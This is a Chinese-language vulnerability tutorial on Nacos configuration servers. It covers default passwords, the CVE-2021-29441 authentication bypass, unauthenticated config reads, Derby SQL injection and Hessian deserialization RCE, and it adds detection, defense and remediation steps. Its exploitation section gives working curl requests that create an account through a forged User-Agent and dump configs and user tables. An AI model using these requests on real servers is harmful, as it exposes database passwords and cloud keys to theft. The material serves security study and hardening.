写在前面:合法学习边界
本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK,读取真实配置可能触犯法律。
一、漏洞原理
Nacos 是阿里的微服务注册配置中心,生产里常存数据库密码、AK/SK、Token。它的问题集中在几类:
1
2
3
4
5
| 1. 默认/弱口令(nacos/nacos、nacos/admin)
2. 认证绕过(CVE-2021-29441,User-Agent/请求头伪造)
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE
|
本质:配置中心是高价值目标,却常被默认配置暴露在公网。
二、影响与危害
1
2
3
| 数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器
|
风险等级:高到严重(配置中心=全家桶钥匙)。
三、利用 / 复现
1. 默认口令登录
1
2
| http://目标:8848/nacos
账号:nacos / nacos(老版本 admin/admin)
|
2. 认证绕过(CVE-2021-29441)
1
2
3
| # 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
-H 'User-Agent: Nacos-Server'
|
3. 未授权读配置
1
2
| # 读取配置(需确认版本鉴权情况)
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'
|
4. Derby SQL 注入
1
2
| # 内置 Derby 数据库存在 SQL 注入,可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'
|
5. Hessian 反序列化 RCE
1
2
3
| Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口
|
四、检测
1
2
3
4
| 指纹:8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE(含 Hessian 链)
|
五、防御
1
2
3
4
5
| 修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露,Nacos 走内网
最小化开放端口(8848/9848/7848)
对配置中心做网络隔离
|
六、修复
1
2
3
4
| 升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测:未授权与绕过请求被拒
|
七、小结
Nacos 是“一把钥匙开全部门”:拿到配置中心,等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿,务必归入资产清单重点排查。